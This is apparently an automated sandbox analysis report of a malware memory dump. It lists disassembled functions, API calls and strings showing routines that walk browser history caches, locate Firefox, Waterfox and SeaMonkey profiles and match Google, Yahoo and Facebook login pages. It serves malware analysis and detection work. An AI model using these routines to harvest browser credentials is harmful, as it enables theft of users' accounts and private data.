                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 562 4466f4-44670e call 446904 GetModuleHandleA 565 446710-44671b 562->565 566 44672f-446732 562->566 565->566 567 44671d-446726 565->567 568 44675b-4467aa __set_app_type __p__fmode __p__commode call 4153f2 566->568 570 446747-44674b 567->570 571 446728-44672d 567->571 575 4467ac-4467b7 __setusermatherr 568->575 576 4467b8-44680e call 4468f0 _initterm GetEnvironmentStringsW _initterm 568->576 570->566 574 44674d-44674f 570->574 571->566 573 446734-44673b 571->573 573->566 577 44673d-446745 573->577 578 446755-446758 574->578 575->576 581 446810-446819 576->581 582 44681e-446825 576->582 577->578 578->568 583 4468d8-4468dd call 44693d 581->583 584 446827-446832 582->584 585 44686c-446870 582->585 588 446834-446838 584->588 589 44683a-44683e 584->589 586 446845-44684b 585->586 587 446872-446877 585->587 593 446853-446864 GetStartupInfoW 586->593 594 44684d-446851 586->594 587->585 588->584 588->589 589->586 591 446840-446842 589->591 591->586 595 446866-44686a 593->595 596 446879-44687b 593->596 594->591 594->593 597 44687c-446894 GetModuleHandleA call 41276d 595->597 596->597 600 446896-446897 exit 597->600 601 44689d-4468d6 _cexit 597->601 600->601 601->583
                      APIs
                      • GetModuleHandleA.KERNEL32(00000000,0044E4C0,00000070), ref: 00446703
                      • __set_app_type.MSVCRT ref: 00446762
                      • __p__fmode.MSVCRT ref: 00446777
                      • __p__commode.MSVCRT ref: 00446785
                      • __setusermatherr.MSVCRT ref: 004467B1
                      • _initterm.MSVCRT ref: 004467C7
                      • GetEnvironmentStringsW.KERNEL32(?,?,?,?,0044E494,0044E498), ref: 004467EA
                      • _initterm.MSVCRT ref: 004467FD
                      • GetStartupInfoW.KERNEL32(?), ref: 0044685A
                      • GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00446880
                      • exit.MSVCRT ref: 00446897
                      • _cexit.MSVCRT ref: 0044689D
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: HandleModule_initterm$EnvironmentInfoStartupStrings__p__commode__p__fmode__set_app_type__setusermatherr_cexitexit
                      • String ID:
                      • API String ID: 2791496988-0
                      • Opcode ID: ac973ed8bce866ca224172ea4b7a237c44716a7d542afe8b7082d44fa5742df9
                      • Instruction ID: 0e3254bf032efe29fc581ce6ca9889a5a3d5d0d8e47fd2ea34fa35870f4f4cb9
                      • Opcode Fuzzy Hash: ac973ed8bce866ca224172ea4b7a237c44716a7d542afe8b7082d44fa5742df9
                      • Instruction Fuzzy Hash: 9D51C474C41314DFEB21AF65D8499AD7BB0FB0A715F21452BE82197291D7788C82CF1E
                      Function 0040C274 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 112COMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • memset.MSVCRT ref: 0040C298
                        • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                        • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E60F
                        • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E629
                        • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                      • FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                      • wcschr.MSVCRT ref: 0040C324
                      • wcschr.MSVCRT ref: 0040C344
                      • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                      • GetLastError.KERNEL32 ref: 0040C373
                      • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C39F
                      • FindCloseUrlCache.WININET(?), ref: 0040C3B0
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: CacheFind$Entrymemset$Nextwcschr$??2@CloseErrorFirstFolderLastPathSpecial
                      • String ID: visited:
                      • API String ID: 2470578098-1702587658
                      • Opcode ID: e6e827466474dba504c602eadc9ccabadb05f86476a5423d269347cfbfdac146
                      • Instruction ID: 6629d855392f08d41decd2a192e4b6579142cf3eaa95f33c860a05aa0b18639b
                      • Opcode Fuzzy Hash: e6e827466474dba504c602eadc9ccabadb05f86476a5423d269347cfbfdac146
                      • Instruction Fuzzy Hash: DA417F71D00219ABDB10EF92DC85AEFBBB8FF45714F10416AE904F7281D7389A45CBA9
                      Function 0040E175 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 91COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 628 40e175-40e1a1 call 40695d call 406b90 633 40e1a7-40e1e5 memset 628->633 634 40e299-40e2a8 call 4069a3 628->634 636 40e1e8-40e1fa call 406e8f 633->636 640 40e270-40e27d call 406b53 636->640 641 40e1fc-40e219 call 40dd50 * 2 636->641 640->636 647 40e283-40e286 640->647 641->640 652 40e21b-40e21d 641->652 648 40e291-40e294 call 40aa04 647->648 649 40e288-40e290 ??3@YAXPAX@Z 647->649 648->634 649->648 652->640 653 40e21f-40e235 call 40742e 652->653 653->640 656 40e237-40e242 call 40aae3 653->656 656->640 659 40e244-40e26b _snwprintf call 40a8d0 656->659 659->640
                      APIs
                        • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                      • memset.MSVCRT ref: 0040E1BD
                        • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040E28B
                        • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                        • Part of subcall function 0040AAE3: wcslen.MSVCRT ref: 0040AAF2
                        • Part of subcall function 0040AAE3: _memicmp.MSVCRT ref: 0040AB20
                      • _snwprintf.MSVCRT ref: 0040E257
                        • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                        • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A908
                        • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A92B
                        • Part of subcall function 0040A8D0: memcpy.MSVCRT ref: 0040A94F
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@$_wcsicmpmemsetwcslen$_memicmp_snwprintfmemcpy
                      • String ID: $ContainerId$Container_%I64d$Containers$Name
                      • API String ID: 3883404497-2982631422
                      • Opcode ID: 366cc36c026cd150a239da38b4c6b1e2e10dbbf4b03b5b4663773bd365af82a7
                      • Instruction ID: de93d03617a61f3aa6bbe184beafcfad76b4f566d35596b706efacabd7485ccb
                      • Opcode Fuzzy Hash: 366cc36c026cd150a239da38b4c6b1e2e10dbbf4b03b5b4663773bd365af82a7
                      • Instruction Fuzzy Hash: 74318272D002196ADF10EFA6DC45ADEB7B8AF04344F1105BFE508B3191DB38AE598F99
                      Function 0040BB98 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 145COMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                        • Part of subcall function 0040CC26: GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                        • Part of subcall function 0040CC26: CloseHandle.KERNEL32(?), ref: 0040CC98
                        • Part of subcall function 0040CCF0: _wcsicmp.MSVCRT ref: 0040CD2A
                      • memset.MSVCRT ref: 0040BC75
                      • memset.MSVCRT ref: 0040BC8C
                      • WideCharToMultiByte.KERNEL32(00000000,00000000,0044E518,000000FF,?,00000FFF,00000000,00000000,?,?,?,0040B7D4,?,?), ref: 0040BCA8
                      • memcmp.MSVCRT ref: 0040BCD6
                      • memcpy.MSVCRT ref: 0040BD2B
                      • LocalFree.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,0040B7D4), ref: 0040BD3D
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$ByteCharCloseFileFreeHandleLocalMultiSizeWide_wcsicmpmemcmpmemcpy
                      • String ID:
                      • API String ID: 115830560-3916222277
                      • Opcode ID: 2c6b40c8534ef55c53201c5afea9c0c191c5eda6ef18d79290db5ec64fa84378
                      • Instruction ID: 00a8249a540342db609c93f8c1f67c79963b4134db5221072d0e6ece1bb2d715
                      • Opcode Fuzzy Hash: 2c6b40c8534ef55c53201c5afea9c0c191c5eda6ef18d79290db5ec64fa84378
                      • Instruction Fuzzy Hash: 3F41B372900219ABDB10ABA5CC85ADEB7ACEF04314F01057BB509F7292D7789E45CA99
                      Function 00412465 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88windowCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??2@$HandleIconLoadModulememsetwcscpy
                      • String ID: r!A
                      • API String ID: 2791114272-628097481
                      • Opcode ID: e760b227a922d4e3f094a9eb3eb7a7fe7130a7247a75f8eef54ce2a40c46c596
                      • Instruction ID: f2e108ad35b37ee9f58e8ef6409d1766b43f0b07df47584fb449e80907097569
                      • Opcode Fuzzy Hash: e760b227a922d4e3f094a9eb3eb7a7fe7130a7247a75f8eef54ce2a40c46c596
                      • Instruction Fuzzy Hash: 0431A1B19013889FEB30EF669C896CAB7E8FF44314F00852FE90CCB241DBB946548B49
                      Function 0040C768 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 87COMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                        • Part of subcall function 0040B1AB: ??3@YAXPAX@Z.MSVCRT ref: 0040B1AE
                        • Part of subcall function 0040B1AB: ??3@YAXPAX@Z.MSVCRT ref: 0040B1B6
                        • Part of subcall function 0040AA04: ??3@YAXPAX@Z.MSVCRT ref: 0040AA0B
                        • Part of subcall function 0040C274: memset.MSVCRT ref: 0040C298
                        • Part of subcall function 0040C274: FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                        • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C324
                        • Part of subcall function 0040C274: wcschr.MSVCRT ref: 0040C344
                        • Part of subcall function 0040C274: FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                        • Part of subcall function 0040C274: GetLastError.KERNEL32 ref: 0040C373
                        • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C439
                        • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,?,?,00000000,?), ref: 0040C467
                        • Part of subcall function 0040C3C3: _wcsupr.MSVCRT ref: 0040C481
                        • Part of subcall function 0040C3C3: memset.MSVCRT ref: 0040C4D0
                        • Part of subcall function 0040C3C3: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,000000FF,?,?,?,?,00000000), ref: 0040C4FB
                      • _wcslwr.MSVCRT ref: 0040C817
                        • Part of subcall function 0040C634: wcslen.MSVCRT ref: 0040C65F
                        • Part of subcall function 0040C634: memset.MSVCRT ref: 0040C6BF
                      • wcslen.MSVCRT ref: 0040C82C
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$??3@$CacheEntryEnumFindValuewcschrwcslen$ErrorFirstLastNext_wcslwr_wcsupr
                      • String ID: /$/$http://www.facebook.com/$https://login.yahoo.com/config/login$https://www.google.com/accounts/servicelogin
                      • API String ID: 62308376-4196376884
                      • Opcode ID: 2e55d37c3c93c49036042ab263f5962c07f69a8f438a79de627d7f97dd271f33
                      • Instruction ID: 5b72bd72183a146cc5fb8da473a5bce975bbff0c760a192580a28ed18ba85502
                      • Opcode Fuzzy Hash: 2e55d37c3c93c49036042ab263f5962c07f69a8f438a79de627d7f97dd271f33
                      • Instruction Fuzzy Hash: 42218272A00244A6CF10BB6A9C8589E7B68EF44744B10457BB804B7293D67CDE85DB9D
                      Function 0040B58D Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 770 40b58d-40b59e 771 40b5a4-40b5c0 GetModuleHandleW FindResourceW 770->771 772 40b62e-40b632 770->772 773 40b5c2-40b5ce LoadResource 771->773 774 40b5e7 771->774 773->774 775 40b5d0-40b5e5 SizeofResource LockResource 773->775 776 40b5e9-40b5eb 774->776 775->776 776->772 777 40b5ed-40b5ef 776->777 777->772 778 40b5f1-40b629 call 40afcf memcpy call 40b4d3 call 40b3c1 call 40b04b 777->778 778->772
                      APIs
                      • GetModuleHandleW.KERNEL32(00000000,00000000,?,?), ref: 0040B5A5
                      • FindResourceW.KERNEL32(00000000,00000032,BIN), ref: 0040B5B6
                      • LoadResource.KERNEL32(00000000,00000000), ref: 0040B5C4
                      • SizeofResource.KERNEL32(?,00000000), ref: 0040B5D4
                      • LockResource.KERNEL32(00000000), ref: 0040B5DD
                      • memcpy.MSVCRT ref: 0040B60D
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Resource$FindHandleLoadLockModuleSizeofmemcpy
                      • String ID: BIN
                      • API String ID: 1668488027-1015027815
                      • Opcode ID: 6cadd12acd146c90b5568bc01b4485451bf9b169e768bef5838699a2d497f07b
                      • Instruction ID: e905eb6dc449d61379ecdc49350c1a2f8866219970738eecada31b95dd052af9
                      • Opcode Fuzzy Hash: 6cadd12acd146c90b5568bc01b4485451bf9b169e768bef5838699a2d497f07b
                      • Instruction Fuzzy Hash: 5E11C636C00225BBD7116BE2DC09AAFBA78FF85755F010476F81072292DB794D018BED
                      Function 00403C9C Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • memset.MSVCRT ref: 00403CBF
                      • memset.MSVCRT ref: 00403CD4
                      • memset.MSVCRT ref: 00403CE9
                      • memset.MSVCRT ref: 00403CFE
                      • memset.MSVCRT ref: 00403D13
                        • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                        • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                        • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                        • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                        • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                      • memset.MSVCRT ref: 00403DDA
                        • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                        • Part of subcall function 004099C6: memcpy.MSVCRT ref: 004099E3
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$wcscpy$wcslen$CloseFolderPathSpecial_snwprintfmemcpywcscat
                      • String ID: Waterfox$Waterfox\Profiles
                      • API String ID: 4039892925-11920434
                      • Opcode ID: fa7a89f4834ef8b5b40aee994800d4865c67d250ea9d7d7a0362dcd02f226988
                      • Instruction ID: d72014143a293005b417e5222852f61d3cfc405123c5957a7e6d01a12b636873
                      • Opcode Fuzzy Hash: fa7a89f4834ef8b5b40aee994800d4865c67d250ea9d7d7a0362dcd02f226988
                      • Instruction Fuzzy Hash: 1E4133B294012C7ADB20EB56DC85ECF777CEF85314F1180ABB509B2181DA745B948FAA
                      Function 00403E2D Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • memset.MSVCRT ref: 00403E50
                      • memset.MSVCRT ref: 00403E65
                      • memset.MSVCRT ref: 00403E7A
                      • memset.MSVCRT ref: 00403E8F
                      • memset.MSVCRT ref: 00403EA4
                        • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                        • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                        • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                        • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                        • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                      • memset.MSVCRT ref: 00403F6B
                        • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                        • Part of subcall function 004099C6: memcpy.MSVCRT ref: 004099E3
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$wcscpy$wcslen$CloseFolderPathSpecial_snwprintfmemcpywcscat
                      • String ID: Mozilla\SeaMonkey$Mozilla\SeaMonkey\Profiles
                      • API String ID: 4039892925-2068335096
                      • Opcode ID: 4e0f951fde323d6a6ece029bc301e1d43e2d4c472937678d86f27e99a49f71a6
                      • Instruction ID: badb9319ce56d3a3e0b5d4601891faab39f88fc9b3936f94b46873e2979bc7df
                      • Opcode Fuzzy Hash: 4e0f951fde323d6a6ece029bc301e1d43e2d4c472937678d86f27e99a49f71a6
                      • Instruction Fuzzy Hash: F94133B294012CBADB20EB56DC85FCF777CAF85314F1180A7B509F2181DA785B848F6A
                      Function 00403FBE Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 121COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 00403FE1
                      • memset.MSVCRT ref: 00403FF6
                      • memset.MSVCRT ref: 0040400B
                      • memset.MSVCRT ref: 00404020
                      • memset.MSVCRT ref: 00404035
                        • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                        • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                        • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                        • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404172
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041D6
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 004041E7
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404200
                        • Part of subcall function 0040414F: memset.MSVCRT ref: 00404215
                        • Part of subcall function 0040414F: _snwprintf.MSVCRT ref: 0040422F
                        • Part of subcall function 0040414F: wcscpy.MSVCRT ref: 00404242
                      • memset.MSVCRT ref: 004040FC
                        • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                        • Part of subcall function 004099C6: memcpy.MSVCRT ref: 004099E3
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$wcscpy$wcslen$CloseFolderPathSpecial_snwprintfmemcpywcscat
                      • String ID: Mozilla\Firefox$Mozilla\Firefox\Profiles
                      • API String ID: 4039892925-3369679110
                      • Opcode ID: e8b210b2701fced3ec1563677da70e7bdaed7d27e85ea88c95246b73557c45d8
                      • Instruction ID: a33c26704871042caa7cb74448a1974e70df039046fe21947f04a6d8cbe9f93a
                      • Opcode Fuzzy Hash: e8b210b2701fced3ec1563677da70e7bdaed7d27e85ea88c95246b73557c45d8
                      • Instruction Fuzzy Hash: 354134B294012CBADB20EB56DC85ECF777CAF85314F1180A7B509B3181EA745B948F6A
                      Function 00444432 Relevance: 10.7, APIs: 1, Strings: 6, Instructions: 217COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy
                      • String ID: BINARY$NOCASE$RTRIM$main$no such vfs: %s$temp
                      • API String ID: 3510742995-2641926074
                      • Opcode ID: 94510af7901ecd36673df76512f8cc8f4b4749faf5a93beda853377b65ea3140
                      • Instruction ID: 565814064bb2237b40e40c3ad6633df45ffc5137317807aec9a32ad89077b3bf
                      • Opcode Fuzzy Hash: 94510af7901ecd36673df76512f8cc8f4b4749faf5a93beda853377b65ea3140
                      • Instruction Fuzzy Hash: BA7119B1600701BFE710AF16CC81B66B7A8BB85319F11452FF4189B742D7BDED908B99
                      Function 0041837F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 140fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(?,-7FBE829D,00000003,00000000,?,?,00000000), ref: 00418457
                      • GetLastError.KERNEL32 ref: 0041847E
                      • ??3@YAXPAX@Z.MSVCRT ref: 0041848B
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@CreateErrorFileLast
                      • String ID: |A
                      • API String ID: 4200628931-1717621600
                      • Opcode ID: b6fac9d43bc75127802d1a393ff5c3575377eb3b1acc0c55043375108e40dc75
                      • Instruction ID: 73005d91fce95ddd83c4435d1527c7398ec28b7193468e33704956b81d718a95
                      • Opcode Fuzzy Hash: b6fac9d43bc75127802d1a393ff5c3575377eb3b1acc0c55043375108e40dc75
                      • Instruction Fuzzy Hash: 50412472508306AFD710CF25DC4179BBBE5FF84328F14492EF8A492290EB78D9448B96
                      Function 004032B4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 119COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040B633: ??3@YAXPAX@Z.MSVCRT ref: 0040B63A
                        • Part of subcall function 0044553B: memset.MSVCRT ref: 004455C2
                        • Part of subcall function 0044553B: wcsrchr.MSVCRT ref: 004455DA
                      • memset.MSVCRT ref: 004033B7
                      • memcpy.MSVCRT ref: 004033D0
                      • wcscmp.MSVCRT ref: 004033FC
                      • _wcsicmp.MSVCRT ref: 00403439
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$??3@_wcsicmpmemcpywcscmpwcsrchr
                      • String ID: $0.@
                      • API String ID: 3030842498-1896041820
                      • Opcode ID: f66ff37cfebf4588bd42dffc34473b3fc2588101413319c72ad25ea5b69c0f44
                      • Instruction ID: ab192eb15c9642abc1a13bae453f9d52c7669558764b377fc560e22e349fc473
                      • Opcode Fuzzy Hash: f66ff37cfebf4588bd42dffc34473b3fc2588101413319c72ad25ea5b69c0f44
                      • Instruction Fuzzy Hash: 6B414A71A0C3819BD770EF65C885A8BB7E8AF86314F004D2FE48C97681DB3899458B5B
                      Function 00403BED Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 57COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 00403C09
                      • memset.MSVCRT ref: 00403C1E
                        • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                        • Part of subcall function 00409719: wcslen.MSVCRT ref: 0040971A
                        • Part of subcall function 00409719: wcscat.MSVCRT ref: 00409732
                      • wcscat.MSVCRT ref: 00403C47
                        • Part of subcall function 00414C2E: memset.MSVCRT ref: 00414C87
                        • Part of subcall function 00414C2E: RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                        • Part of subcall function 00414C2E: wcscpy.MSVCRT ref: 00414CFC
                      • wcscat.MSVCRT ref: 00403C70
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memsetwcscat$CloseFolderPathSpecialwcscpywcslen
                      • String ID: Mozilla\Firefox\Profiles$Mozilla\Profiles
                      • API String ID: 1534475566-1174173950
                      • Opcode ID: 5af024c53119846c6cf23d5d39710aba0b9f01952ad673d04fbaa3fd9d46c714
                      • Instruction ID: 5219a381a5be6f9fff484f4b9c8ff18b49dc44b18064e24db21ac924a7a96902
                      • Opcode Fuzzy Hash: 5af024c53119846c6cf23d5d39710aba0b9f01952ad673d04fbaa3fd9d46c714
                      • Instruction Fuzzy Hash: 4401A9B294032C76DB207B669C86ECF672C9F45358F01447FB504B7182D9785E844AA9
                      Function 0040A804 Relevance: 9.0, APIs: 6, Instructions: 40libraryCOMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                      • String ID:
                      • API String ID: 669240632-0
                      • Opcode ID: 82c8cf326d92d3b179650df20de3df9a559229a48382c0fcbe0adb46b34a8860
                      • Instruction ID: 21688b76284891f368be2c5f4feed5723597baa153f24eadc702144372ba9d0b
                      • Opcode Fuzzy Hash: 82c8cf326d92d3b179650df20de3df9a559229a48382c0fcbe0adb46b34a8860
                      • Instruction Fuzzy Hash: A6F0A472D0022467DF207B65AC46B8A3B6CBF01754F008072F908B71D2EB789A55CFDA
                      Function 00414C2E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 77registryCOMMON
                      Download Yara Rule
                      APIs
                      • SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                      • memset.MSVCRT ref: 00414C87
                      • RegCloseKey.ADVAPI32(00445DDE,?,?,?,?,?,00000000), ref: 00414CEE
                      • wcscpy.MSVCRT ref: 00414CFC
                        • Part of subcall function 00409CEA: GetVersionExW.KERNEL32(0045D340,0000001A,00414C4F,?,00000000), ref: 00409D04
                      Strings
